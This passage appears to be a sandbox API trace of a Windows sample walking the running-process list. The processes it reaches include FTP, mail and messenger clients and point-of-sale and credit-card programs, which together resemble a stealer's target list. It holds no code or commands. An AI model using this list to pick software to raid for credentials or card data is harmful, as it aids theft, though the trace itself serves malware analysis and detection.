pcPriClassBase=8, dwFlags=0x0, szExeFile="boompromoterestore.exe")) returned 1 [0163.731] lstrlenW (lpString="boompromoterestore.exe") returned 22 [0163.731] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="metallic.exe")) returned 1 [0163.731] lstrlenW (lpString="metallic.exe") returned 12 [0163.731] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="adjustedfavors.exe")) returned 1 [0163.732] lstrlenW (lpString="adjustedfavors.exe") returned 18 [0163.732] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="brown parade bases.exe")) returned 1 [0163.733] lstrlenW (lpString="brown parade bases.exe") returned 22 [0163.736] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x52c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="specified wales.exe")) returned 1 [0163.751] lstrlenW (lpString="specified wales.exe") returned 19 [0163.752] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="inspiration.exe")) returned 1 [0163.756] lstrlenW (lpString="inspiration.exe") returned 15 [0163.756] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="importance-slot-announcements.exe")) returned 1 [0163.758] lstrlenW (lpString="importance-slot-announcements.exe") returned 33 [0163.759] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred-arrest.exe")) returned 1 [0163.769] lstrlenW (lpString="hundred-arrest.exe") returned 18 [0163.770] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="classbuck.exe")) returned 1 [0163.772] lstrlenW (lpString="classbuck.exe") returned 13 [0163.772] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="x-deutschland.exe")) returned 1 [0163.775] lstrlenW (lpString="x-deutschland.exe") returned 17 [0163.777] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sacred-sword-plc.exe")) returned 1 [0163.777] lstrlenW (lpString="sacred-sword-plc.exe") returned 20 [0163.778] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="laptop_wiring_candy.exe")) returned 1 [0163.778] lstrlenW (lpString="laptop_wiring_candy.exe") returned 23 [0163.778] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="lawsuit.exe")) returned 1 [0163.778] lstrlenW (lpString="lawsuit.exe") returned 11 [0163.779] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0163.779] lstrlenW (lpString="3dftp.exe") returned 9 [0163.779] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0163.780] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0163.780] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0163.780] lstrlenW (lpString="alftp.exe") returned 9 [0163.780] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0163.780] lstrlenW (lpString="barca.exe") returned 9 [0163.780] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0163.781] lstrlenW (lpString="bitkinex.exe") returned 12 [0163.781] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0163.781] lstrlenW (lpString="coreftp.exe") returned 11 [0163.782] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0163.782] lstrlenW (lpString="far.exe") returned 7 [0163.782] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0163.783] lstrlenW (lpString="filezilla.exe") returned 13 [0163.783] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0163.784] lstrlenW (lpString="flashfxp.exe") returned 12 [0163.784] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0163.784] lstrlenW (lpString="fling.exe") returned 9 [0163.784] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0163.785] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0163.785] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0163.786] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0163.786] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0163.786] lstrlenW (lpString="icq.exe") returned 7 [0163.786] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0163.787] lstrlenW (lpString="leechftp.exe") returned 12 [0163.787] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0163.787] lstrlenW (lpString="ncftp.exe") returned 9 [0163.788] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0163.788] lstrlenW (lpString="notepad.exe") returned 11 [0163.788] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0163.789] lstrlenW (lpString="operamail.exe") returned 13 [0163.789] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0163.789] lstrlenW (lpString="pidgin.exe") returned 10 [0163.790] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0163.790] lstrlenW (lpString="scriptftp.exe") returned 13 [0163.790] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0163.791] lstrlenW (lpString="skype.exe") returned 9 [0163.791] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0163.791] lstrlenW (lpString="smartftp.exe") returned 12 [0163.792] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0163.792] lstrlenW (lpString="thunderbird.exe") returned 15 [0163.792] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0163.793] lstrlenW (lpString="totalcmd.exe") returned 12 [0163.793] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0163.793] lstrlenW (lpString="trillian.exe") returned 12 [0163.793] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0163.794] lstrlenW (lpString="webdrive.exe") returned 12 [0163.794] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0164.202] lstrlenW (lpString="whatsapp.exe") returned 12 [0164.202] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0164.203] lstrlenW (lpString="winscp.exe") returned 10 [0164.203] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0164.203] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0164.204] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0164.204] lstrlenW (lpString="active-charge.exe") returned 17 [0164.204] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0164.205] lstrlenW (lpString="accupos.exe") returned 11 [0164.205] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0164.206] lstrlenW (lpString="afr38.exe") returned 9 [0164.206] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0164.206] lstrlenW (lpString="aldelo.exe") returned 10 [0164.206] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0164.207] lstrlenW (lpString="ccv_server.exe") returned 14 [0164.207] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0164.208] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0164.208] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0164.208] lstrlenW (lpString="creditservice.exe") returned 17 [0164.208] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0164.209] lstrlenW (lpString="edcsvr.exe") returned 10 [0164.209] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0164.209] lstrlenW (lpString="fpos.exe") returned 8 [0164.209] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0164.210] lstrlenW (lpString="isspos.exe") returned 10 [0164.210] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0164.211] lstrlenW (lpString="mxslipstream.exe") returned 16 [0164.211] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0164.211] lstrlenW (lpString="omnipos.exe") returned 11 [0164.211] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0164.212] lstrlenW (lpString="spcwin.exe") returned 10 [0164.212] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0164.212] lstrlenW (lpString="spgagentservice.exe") returned 19 [0164.212] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0164.213] lstrlenW (lpString="utg2.exe") returned 8 [0164.213] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="counsel-directed-receivers.exe")) returned 1 [0164.213] lstrlenW (lpString="counsel-directed-receivers.exe") returned 30 [0164.214] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0164.214] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0164.214] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.215] lstrlenW (lpString="svchost.exe") returned 11 [0164.215] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0164.215] lstrlenW (lpString="taskhostw.exe") returned 13 [0164.215] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0164.216] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0164.216] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1288, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x11f0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0164.216] lstrlenW (lpString="conhost.exe") returned 11 [0164.216] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3dc, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0164.217] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0164.217] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x123c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0164.218] lstrlenW (lpString="conhost.exe") returned 11 [0164.218] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0164.219] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0164.219] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x13dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="powershell.exe")) returned 1 [0164.219] lstrlenW (lpString="powershell.exe") returned 14 [0164.219] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0164.220] lstrlenW (lpString="conhost.exe") returned 11 [0164.220] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="TiWorker.exe")) returned 1 [0164.220] lstrlenW (lpString="TiWorker.exe") returned 12 [0164.220] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0164.221] lstrlenW (lpString="sppsvc.exe") returned 10 [0164.221] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="powershell.exe")) returned 1 [0164.221] lstrlenW (lpString="powershell.exe") returned 14 [0164.221] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1368, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 